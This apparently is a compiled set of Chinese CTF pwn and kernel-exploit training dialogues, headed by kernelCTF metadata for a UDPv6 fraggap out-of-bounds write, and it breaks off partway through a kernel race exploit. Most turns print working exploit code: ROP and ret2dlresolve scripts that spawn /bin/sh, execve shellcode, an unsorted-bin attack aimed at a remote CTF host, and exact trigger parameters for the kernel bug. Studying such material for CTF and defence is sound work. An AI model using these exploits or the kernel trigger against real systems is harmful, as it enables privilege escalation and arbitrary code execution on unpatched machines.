  "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json",
  "submission_ids": ["exp522"],
  "vulnerability": {
    "summary": "UDPv6 MSG_SPLICE_PAGES fraggap accounting can write past the skb linear area into skb_shared_info",
    "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=736b380e28d0480c7bc3e022f1950f31fe53a7c5",
    "cve": "CVE-2026-53362",
    "affected_versions": ["6.6-rc1 - 6.12.94"],
    "requirements": {
      "attack_surface": [],
      "capabilities": [],
      "kernel_config": ["CONFIG_IPV6"]
    }
  },
  "exploits": {
    "lts-6.12.85": {
      "uses": [],
      "requires_separate_kaslr_leak": false,
      "stability_notes": "95%"
    }
  }
}


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「heap_info」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### heap_info

`heap_info`位于一个`heap`块的开头，用以记录通过`mmap`系统调用从 Memory Mapping Segment 处申请到的内存块的信息。定义于`arena.c`中。

```c
/* A heap is a single contiguous memory region holding (coalesceable)
   malloc_chunks.  It is allocated with mmap() and always starts at an
   address aligned to HEAP_MAX_SIZE.  */

typedef struct _heap_info
{
  mstate ar_ptr; /* Arena for this heap. */
  struct _heap_info *prev; /* Previous heap. */
  size_t size;   /* Current size in bytes. */
  size_t mprotect_size; /* Size in bytes that has been mprotected
                           PROT_READ|PROT_WRITE.  */
  /* Make sure the following data is properly aligned, particularly
     that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
     MALLOC_ALIGNMENT. */
  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;
```

`heap_info`结构体的成员如下：

+ `ar_ptr`：指向管理该堆块的`arena`
+ `prev`：该`heap_info`所链接的上一个`heap_info`
+ `size`：记录该堆块的大小
+ `mprotect_size`：记录该堆块中被保护（`mprotected`）的大小。
+ `pad`：即`padding`，用以在`SIZE_SZ`不正常的情况下进行填充以让内存对齐，正常情况下`pad`所占用空间应为0字节。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「define TCACHE_MAX_BINS                64」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# define TCACHE_MAX_BINS                64

static __thread tcache_perthread_struct *tcache = NULL;
```

对应结构如下

<img src="https://cdn.nlark.com/yuque/0/2026/png/28737143/1772615815586-cacbcdbc-6770-46a5-b94a-7a9d6403b927.png" style="zoom:50%;" />

每个`thread`都会维护一个 `tcache_perthread_struct` ，它是整个 `tcache` 的管理结构，一共有 `TCACHE_MAX_BINS` 个计数器和 `TCACHE_MAX_BINS` 项 `tcache_entry`。这个结构在 `tcache_init` 函数中被初始化在堆上，大小为 0x250（高版本为 0x290）。其中数据部分前 0x40 为 `counts` ，剩下的为 `entries` 结构。如果能控制这个堆块就可以控制整个 `tcache` 。

```plain
static void
tcache_init(void)
{
  mstate ar_ptr;
  void *victim = 0;
  const size_t bytes = sizeof (tcache_perthread_struct);

  if (tcache_shutting_down)
    return;

  arena_get (ar_ptr, bytes);
  victim = _int_malloc (ar_ptr, bytes);
  if (!victim && ar_ptr != NULL)
    {
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      victim = _int_malloc (ar_ptr, bytes);
    }

  if (ar_ptr != NULL)
    __libc_lock_unlock (ar_ptr->mutex);

  /* In a low memory situation, we may not be able to allocate memory
     - in which case, we just keep trying later.  However, we
     typically do this very early, so either there is sufficient
     memory, or there isn't enough memory to do non-trivial
     allocations anyway.  */

  if (victim)
    {
      tcache = (tcache_perthread_struct *) victim;
      memset (tcache, 0, sizeof (tcache_perthread_struct));
    }
}
```

`tcache_perthread_struct` 中的 `tcache_entry` 用单向链表的方式链接了相同大小的处于空闲状态（`free` 后）的 `chunk`，这一点上和 fast bin 很像。

另外与`fast bin`相同的是释放进入 `tcache` 的 `chunk` 的下一个相邻 `chunk` 的 `PREV_INUSE` 位不清零。

`counts` 记录了 `tcache_entry` 链上空闲 `chunk` 的数目，每条链上最多可以有 7 个 `chunk` 。注意指针指向的位置是 `fd` 指针，这一点与`fast bin`不同。结构如下：

<img src="https://cdn.nlark.com/yuque/0/2026/png/28737143/1772615791461-32ed033d-28b4-4662-ad54-9f112713b215.png" style="zoom:50%;" />

stash 机制：

当申请的大小在 `tcache` 范围的 `chunk` 在 `tcache` 中没有，此时 ptmalloc 会在其他 `bin` 里面找，如果找到了会将该 `chunk` 放到 `tcache` 中，直到 `tcache` 填满，最后直接返回找到的 `chunk` 或是从 `tcache` 中取出并返回。

安全检查：

+ tcache key（only libc2.29 and up）：自 glibc2.29 版本起 `tcache` 新增了一个 key 字段，该字段位于 `chunk` 的 bk 字段，值为 `tcache` 结构体的地址，若 `free()` 检测到 `chunk->bk == tcache` 则会遍历 `tcache` 查找对应链表中是否有该 `chunk`最新版本的一些老 glibc （如新版2.27等）也引入了该防护机制
+ Safe linking 机制（only glibc2.32 and up）：与`fast bin`类似。绕过方法：
  - 在 `tcache` 的一个 `entry` 中放入第一个 `chunk` 时，其同样会对该 `entry` 中的 “`chunk`” （NULL）进行异或运算后写入到将放入 `tcache` 中的 `chunk` 的 `fd` 字段，若是我们能够打印该 free chunk 的 `fd` 字段，便能够直接获得未经异或运算的堆上相关地址（右移 12 位）
  - 在 `tcache->entry` 中存放的仍是未经加密过的地址，若是我们能够控制 `tcache` 管理器则仍可以在不知道堆相关地址时进行任意地址写。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/error.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/error.h`

分类：kernel

语言：c

环境/依赖线索：
- `#include <system_error>`
- `#include <stdexcept>`
- `#include <cstdarg>`
- `#include <xdk/util/str.h>`

利用主题关键词：
- io-file/fsop

训练用代码片段：
```c
/*
 * Copyright 2025 Google LLC
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#pragma once

#include <system_error>
#include <stdexcept>
#include <cstdarg>

#include <xdk/util/str.h>

/**
 * @defgroup util_classes Utility Classes
 * @brief Helper classes for various utilities.
 */

/**
 * @ingroup util_classes
 * @brief Custom exception class for ExpKit-specific errors.
 */
struct ExpKitError : public std::runtime_error {
    /**
     * @brief Constructs an ExpKitError with a single error message.
     * @param error_msg The error message.
     */
    template <typename... Args>
    ExpKitError(const char* error_msg): std::runtime_error(error_msg) {}

    /**
     * @brief Constructs an ExpKitError with a formatted error message.
     * @tparam Args The types of the arguments for the format string.
     * @param format The format string.
     * @param args The arguments for the format string.
     */
    template <typename... Args>
    ExpKitError(const char* format, const Args&... args): std::runtime_error(format_str(format, args...)) {}
};

/**
 * @ingroup util_classes
 * @brief Represents an error based on the current value of errno.
 */
struct errno_error: std::system_error {
    /**
     * @brief Constructs an errno_error with the current errno value.
     */
    errno_error();

    /**
     * @brief Constructs an errno_error with the current errno value and an additional message.
     * @param __what An additional message describing the error.
     */
    errno_error(const char* __what);
};
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「Triggering the Fraggap out-of-bounds write」。
资料来源：Kernel/CVE-2026-53362_lts/docs/exploit.md；主题：Exploit；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### Triggering the Fraggap out-of-bounds write

The vulnerable path is the UDPv6 corking path in `__ip6_append_data()`. The
exploit creates an unprivileged IPv6 datagram socket on loopback, disables PMTU
discovery, sets the socket MTU to `1287`, installs a 320-byte type-4 IPv6
routing header, and enables `UDP_CORK`. Data is then sent from pipes with
`splice(..., SPLICE_F_MORE)`, which reaches the `MSG_SPLICE_PAGES` paged
allocation path.

The trigger geometry is:

| Value | Purpose |
| --- | --- |
| `IPV6_EXT_LEN = 320` | Makes `fragheaderlen` equal to 360 bytes, including the IPv6 header |
| `TARGET_MTU = 1287` | Produces `maxfraglen = 1272` |
| `FIRST_SPLICE_LEN = 919` | Builds a 1287-byte first skb, 15 bytes beyond `maxfraglen` |
| `SECOND_SPLICE_LEN = 20` | Enters the vulnerable new-skb path and then appends one valid page fragment |
| `SHINFO_INBUF_OFF = 904` | Selects the first payload byte copied beyond the fragment boundary |

The first skb contains 360 bytes of IPv6 headers, an 8-byte UDP header, and
919 bytes of pipe-backed payload. Its length is therefore 1287 bytes, while
`maxfraglen` is 1272, so the second splice computes:

```text
fraggap = skb_prev->len - maxfraglen = 1287 - 1272 = 15
```

For the new paged skb, the vulnerable branch accounts for that gap in
`datalen` but not in the linear allocation:

```text
datalen  = length + fraggap
alloclen = fragheaderlen + transhdrlen
pagedlen = datalen - transhdrlen
data     = skb_put(skb, fraglen - pagedlen)
copy fraggap bytes to data + transhdrlen
```

On this second skb, `transhdrlen` is zero. Consequently,
`fraglen - pagedlen` collapses to the 360-byte fragment-header area, and
`data + transhdrlen` points at the end of the linear data. The subsequent
15-byte `skb_copy_and_csum_bits()` operation copies the tail of the previous
skb directly into offsets `0x00..0x0e` of the trailing
`struct skb_shared_info`.

The copied bytes come from first-splice payload offsets `904..918`. The input
is zeroed except for:

```c
trig[SHINFO_INBUF_OFF + 2] = 1;
```

Offset `0x02` of `struct skb_shared_info` is `nr_frags`, so the out-of-bounds
copy changes it to one. The fragment array starts at offset `0x30` and is not
overwritten by the 15-byte copy.


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/2024wdb/vir2/vir2_start.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/2024wdb/vir2/vir2_start.sh`

分类：kernel

语言：bash

利用主题关键词：
- seccomp/orw

训练用代码片段：
```bash
#!/bin/bash

exec qemu-system-x86_64 \
	-m 64M \
	-kernel ./bzImage \
	-initrd ./vir2_rootfs.cpio \
	-append "console=ttyS0 kaslr quiet pti=off" \
	-cpu kvm64,+smap,smep\
	-smp cores=1,threads=1 \
	-nographic \
	-no-reboot
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2dlresolve/dl_resolve_64/64位/stage6_libc1_64.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2dlresolve/dl_resolve_64/64位/stage6_libc1_64.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `makecall`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x100`, `0x112`, `0x800`, `0x20740`, `0x6E406`, `0x8eb46`, `0x3c5720`, `0x4002c0`, `0x400398`, `0x400470`, `0x400510`, `0x4005e0`, `0x400676`, `0x4006ab`, `0x400790`, `0x4007AA`

训练用代码片段：
```python
#!/usr/bin/python
#coding:utf-8
from pwn import *

#需修改:文件名、溢出偏移、gadget地址、各节地址
fpath = './bof'
offset = 112
length = 0x100
stack_size = 0x800
main_addr=0x400676
p6_addr=0x4007AA
call_addr=0x400790
leave_ret=0x4006ab
p_rbp_ret=0x4005e0
p_rdi_ret=0x4007b3

elf = ELF(fpath)
write_got=elf.got['write']
read_got=elf.got['read']
read_plt = elf.plt['read']
write_plt = elf.plt['write']
got_8=elf.get_section_by_name('.got.plt').header.sh_addr+8   #0x601008
bss_addr =elf.get_section_by_name('.bss').header.sh_addr
base_stage = bss_addr + stack_size
#print 'got_8=',hex(got_8)

#x/100xw  GOT[8]
fake_link_map=elf.got['__libc_start_main']    #change!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
fake_st_value=0x8eb46-0x20740
fake_r_offset=0x3c5720-0x20740    #这里是为了使l_addr+r_offset指向可写的地址
val_0x68=0x600ea8
val_0x70=0x600eb8
val_0xf8=0x600f28
wait_time=0.1

def makecall(addr, rdi, rsi, rdx, tail = 0):
    payload = ''
    payload += p64(p6_addr)
    payload += p64(0x0)
    payload += p64(0x1)
    payload += p64(addr)
    payload += p64(rdx)
    payload += p64(rsi)
    payload += p64(rdi)
    payload += p64(call_addr)
    if (tail):
        payload += p64(0x0) * 7 + p64(tail)
    return payload

p = process(fpath)
print p.recv()        # 'Welcome to XDCTF2015~!\n'

#1.往fake_link_map+0x68写值
payload='\x00'*offset
payload+='\x00'*8
payload+=makecall(read_got,0,fake_link_map+0x68,16,tail=main_addr)
payload=payload.ljust(0x100,'\x00')
p.send(payload)
sleep(wait_time)
p.send(p64(val_0x68)+p64(val_0x70))

#2.往fake_link_map+0xf8写值
payload='\x00'*offset
payload+='\x00'*8
payload+=makecall(read_got,0,fake_link_map+0xf8,8,tail=main_addr)
payload=payload.ljust(0x100,'\x00')
p.send(payload)
sleep(wait_time)
p.send(p64(val_0xf8))

#3.往base_stage写入伪造结构并跳过去
payload='\x00'*offset
payload+='\x00'*8
payload+=makecall(read_got,0,base_stage,0xd0,tail=0)   #假设结构大小是400
payload+=p64(0)*2+p64(base_stage)+p64(0)*4
payload+=p64(leave_ret)
payload=payload.ljust(0x100,'\x00')
p.send(payload)

#4.bss数据：rop-参数放在寄存器/ 伪造结构
#(1)确定各个节的地址
cmd = "/bin/sh"
plt_0 = 0x400510 # objdump -d -j .plt bof
plt_1 = plt_0+6
rel_plt = 0x400470 # objdump -s -j .rela.plt bof
write_got = elf.got['write']
dynsym = 0x4002c0 #readelf -S bof
dynstr = 0x400398
#(2)确定重定位下标
index_offset = base_stage + 7*8
align = 24 - ((index_offset-rel_plt) % 24)  # 这里的对齐操作是因为dynsym里的ELF64_R_SYM结构体都是24字节大小
index_offset = index_offset + align
index = (index_offset - rel_plt) / 24 # base_stage + 7*8 指向fake_reloc，减去rel_plt即偏移
#(3)确定动态链接符号下标
fake_sym_addr = base_stage + 13*8
align = 24 - ((fake_sym_addr - dynsym) % 24)# 这里的对齐操作是因为dynsym里的Elf64_Sym结构体都是24字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 24 # 除以24因为Elf64_Sym结构体的大小为24，得到write的dynsym索引号
#(4)伪造重定位结构+动态链接结构
r_info = (index_dynsym << 32) | 0x7
fake_reloc = p64(fake_r_offset) + p64(r_info) + p64(0)
st_name = (fake_sym_addr + 24) - dynstr   #fake_sym（Elf32_Sym结构体）大小0x10
fake_sym = p32(st_name) + p32(0x112) + p64(fake_st_value) + p64(0)

payload2 = 'AAAAAAAA'
payload2 += p64(p_rdi_ret)
payload2 += p64(base_stage+0xc0)   #/bin/sh
payload2 += p64(plt_1)
payload2 += p64(fake_link_map)   #
payload2 += p64(index)       #jmprel 下标参数
payload2 += 'AAAAAAAA'       #返回地址
#payload2 += 'aaaaaaaa'

payload2 = payload2.ljust(index_offset-base_stage,'B')
payload2 += fake_reloc # index_offset(base_stage+7*8)的位置
payload2 = payload2.ljust(fake_sym_addr-base_stage,'B')
payload2 += fake_sym   # fake_sym_addr(base_stage+9*8)的位置

payload2 += "system\x00"
payload2 = payload2.ljust(0xc0,'\x00')
payload2 += cmd + '\x00'
payload2 = payload2.ljust(0xd0,'\x00')

gdb.attach(p,'b *0x4006ab')
raw_input('wait!!\n')
p.send(payload2)
p.interactive()

#目标：0x8eb46 : cmp byte ptr [rax], dl ; ret
#>>> hex(elf.symbols['__libc_start_main'])
#'0x20740'
#0x8eb46-0x20740=0x6E406

#lib_bss_addr=0x3c5720
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/整数溢出/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/整数溢出/exp_cli.py`

分类：misc_vuln

语言：python

环境/依赖线索：
- `from pwncli import *`

函数/封装：
- `csu`

利用主题关键词：
- stack/rop

训练用代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

r()
s(asm("cmp al,al"))

ia()

def csu(addr, edi, rsi, rdx, last, gadget1, gadget2, off):
    # 用于溢出的padding
    payload = off * b'a'
    # gadget1
    payload += p64(gadget1)
    # rbx=0, rbp=1
    payload += p64(0) + p64(1)
    # 设置 r12 寄存器地址，即 call 调用的地址
    payload += p64(addr)
    # 参数3、参数2、参数1
    # r13, r14, r15
    payload += p64(rdx) + p64(rsi) + p64(edi)
    # gadget2
    payload += p64(gadget2)
    # pop 出来的 padding
    payload += b'a' * 56
    # 函数最后的返回地址
    payload += p64(last)
    return payload
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2shellcode/shellcode_limit/shellcode.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2shellcode/shellcode_limit/shellcode.c`

分类：stack

语言：c

环境/依赖线索：
- `#include <stdio.h>`

函数/封装：
- `main`

利用主题关键词：
- seccomp/orw
- stack/rop

训练用代码片段：
```c
#include <stdio.h>

int main()
{
   unsigned char shellcode[] = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x54\x5f\xb0\x3b\x99\x0f\x05";
   void (*run)()=(void(*)()) shellcode;
   run();
   return 0;
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/unsortedbin attack/hitcontraining_magicheap/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/unsortedbin attack/hitcontraining_magicheap/exp.py`

分类：heap

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `add`
- `dbg`
- `dele`
- `edit_heap`

利用主题关键词：
- heap/tcache

关键常量/偏移样例：
`0x6020a0`, `0x55555afaf000`, `0x55555afaf010`, `0x55555afaf020`, `0x55555afaf030`, `0x55555afaf040`, `0x55555afaf050`, `0x55555afaf060`, `0x55555afaf070`, `0x55555afaf080`, `0x55555afaf090`, `0x55555afaf0a0`, `0x55555afaf0b0`, `0x55555afaf0c0`, `0x55555afaf0d0`, `0x55555afaf0e0`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('magicheap')
libc = ELF('./libc-2.23.so')
#io = process(['./ld-2.23.so',elf.path], env = {'LD_PRELOAD' : libc.path})
io=remote("node5.buuoj.cn",25559)
context(os=elf.os, arch=elf.arch, log_level='debug')

def add(size, content):
    ru(":")
    sl("1")
    ru(":")
    sl(str(size))
    ru(":")
    sl(content)

def edit_heap(idx, size, content):
    ru(":")
    sl("2")
    ru(":")
    sl(str(idx))
    ru(":")
    sl(str(size))
    ru(":")
    sl(content)

def dele(idx):
    ru(":")
    sl("3")
    ru(":")
    sl(str(idx))

#dbg()

add(0x20,"aaaa") #0
add(0x80,"bbbb") #1

add(0x20,"cccc") #2

dele(1)#free掉1

magic = 0x6020a0
fd = 0
bk = magic - 0x10

#写chunk0溢出到chunk1,写chunk1的bk指向magic
#将chunk1的size字段写回去，然后写fd为0，bk为magic-0x10
#magic-0x10是因为我们要将其伪造成fake_chunk，即magic-0x10为size字段，magic为data区域
edit_heap(0, 0x40, b"a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
"""
0x55555afaf000  0x0000000000000000      0x0000000000000031      ........1.......
0x55555afaf010  0x0000000a61616161      0x0000000000000000      aaaa............
0x55555afaf020  0x0000000000000000      0x0000000000000000      ................
0x55555afaf030  0x0000000000000000      0x0000000000000091      ................         <-- unsortedbin[all][0]
0x55555afaf040  0x00007f1dbefd7b78      0x00007f1dbefd7b78      x{......x{......
0x55555afaf050  0x0000000000000000      0x0000000000000000      ................
0x55555afaf060  0x0000000000000000      0x0000000000000000      ................
0x55555afaf070  0x0000000000000000      0x0000000000000000      ................
0x55555afaf080  0x0000000000000000      0x0000000000000000      ................
0x55555afaf090  0x0000000000000000      0x0000000000000000      ................
0x55555afaf0a0  0x0000000000000000      0x0000000000000000      ................
0x55555afaf0b0  0x0000000000000000      0x0000000000000000      ................
0x55555afaf0c0  0x0000000000000090      0x0000000000000030      ........0.......
0x55555afaf0d0  0x0000000a63636363      0x0000000000000000      cccc............
0x55555afaf0e0  0x0000000000000000      0x0000000000000000      ................
0x55555afaf0f0  0x0000000000000000      0x0000000000020f11      ................         <-- Top chunk
"""
#创建一个和chunk1相同大小的chunk将，就可以修改fake_chunk的fd指针，即magic变量中的数值：
add(0x80, "dada")  #trigger unsorted bin attack
#dbg()

ru(":")
s(b"4869")

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2text/read_sh/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2text/read_sh/exp_cli.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwncli import *`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x80483d0`, `0x0804A080`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

r()

sl(b"/bin/sh")

#sh字符串的地址为bss段的地址
sh=0x0804A080

payload=b'a'*(28+4)+p32(0x80483d0)+p32(0)+p32(sh)

r()
sl(payload)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「题目信息」。
资料来源：IO-FILE/house of cat/强网杯2022houseofcat/WP.md；主题：强网杯 2022 houseofcat WP；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 题目信息

```text
Arch: amd64
RELRO: Full RELRO
Canary: enabled
NX: enabled
PIE: enabled
SHSTK/IBT: enabled
libc: glibc 2.35
```

题目开启 seccomp，不能直接 `system("/bin/sh")`，利用目标应转为 ORW：`open("flag") -> read -> write`。

本地运行建议使用 2.35 loader 加载当前目录随题 `libc.so.6`：

```bash
/tools/binary/glibc-all-in-one/libs/2.35/64/ld-linux-x86-64.so.2 --library-path . ./houseofcat
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/rip/RopUtils.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/rip/RopUtils.h`

分类：kernel

语言：c

环境/依赖线索：
- `#include <sys/mman.h>`
- `#include <cstring>`
- `#include <xdk/payloads/RopChain.h>`

利用主题关键词：
- io-file/fsop
- stack/rop

关键常量/偏移样例：
`0x100`, `0x8000`

训练用代码片段：
```c
/*
 * Copyright 2025 Google LLC
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#pragma once

#include <sys/mman.h>
#include <cstring>
#include <xdk/payloads/RopChain.h>

/**
 * @defgroup rip_classes RIP Classes
 * @brief Classes related to Return-Oriented Programming (ROP) utilities.
 */

/**
 * @ingroup rip_classes
 * @class RopUtils
 * @brief Utility functions for ROP chain generation.
 */
class RopUtils {
public:
    /**
     * @brief Generates a ROP chain to return to user space after a kernel exploit.
     *
     * This function sets up a fake user stack and uses the KPTI trampoline to transition back to user space.
     * @param rop The RopChain object to add the return-to-user ROP action to.
     * @param after_lpe_func The address of the function to execute in user space after returning from the kernel.
     * @param stack_size The size of the fake user stack to allocate (default is 0x8000).
     * @param redzone_size The size of the redzone at the end of the fake user stack (default is 0x100).
     */
 static void Ret2Usr(RopChain& rop, void* after_lpe_func,
                     size_t stack_size = 0x8000, size_t redzone_size = 0x100);
};
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/0CTF2018-baby/exp.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/0CTF2018-baby/exp.c`

分类：kernel

语言：c

环境/依赖线索：
- `#include <unistd.h>`
- `#include <stdio.h>`
- `#include <stdlib.h>`
- `#include <fcntl.h>`
- `#include <pthread.h>`
- `#include <string.h>`
- `#include <sys/ioctl.h>`

函数/封装：
- `main`

利用主题关键词：
- seccomp/orw
- kernel

关键常量/偏移样例：
`0x100`, `0x1000`, `0x1337`, `0x6666`

训练用代码片段：
```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <sys/ioctl.h>

pthread_t compete_thread;
void* real_addr;
char buf[0x20] = {0};
int competetion_times = 0x1000, status = 1;

struct
{
    char* flag_addr;
    int flag_len;
} flag = {.flag_addr = buf, .flag_len = 33};

void *competetionThread(void *arg)
{
    while (status)
    {
        for (int i = 0; i < competetion_times; i++)
            flag.flag_addr = real_addr;
    }
    return NULL;
}

int main()
{
    int fd, result_fd, addr_fd;

    char *temp, *flag_addr_addr;

    fd = open("/dev/baby", O_RDWR);
    ioctl(fd, 0x6666);

    system("dmesg | grep flag > addr");

    temp = (char*) malloc(0x1000);

    addr_fd = open("./addr", O_RDONLY);
    temp[read(addr_fd, temp, 0x100)] = '\0';

    // 获取 "Your flag is at XXXXX" 中的地址部分
    flag_addr_addr = strstr(temp, "Your flag is at ") + strlen("Your flag is at ");

    real_addr = (void *)strtoull(flag_addr_addr, NULL, 16);

    pthread_create(&compete_thread, NULL, competetionThread, NULL);

    while (status)
    {
        for (int i = 0; i < competetion_times; i++)
        {
            flag.flag_addr = buf;
            ioctl(fd, 0x1337, &flag);
        }

        system("dmesg | grep flag > result");

        result_fd = open("./result", O_RDONLY);
        read(result_fd, temp, 0x1000);

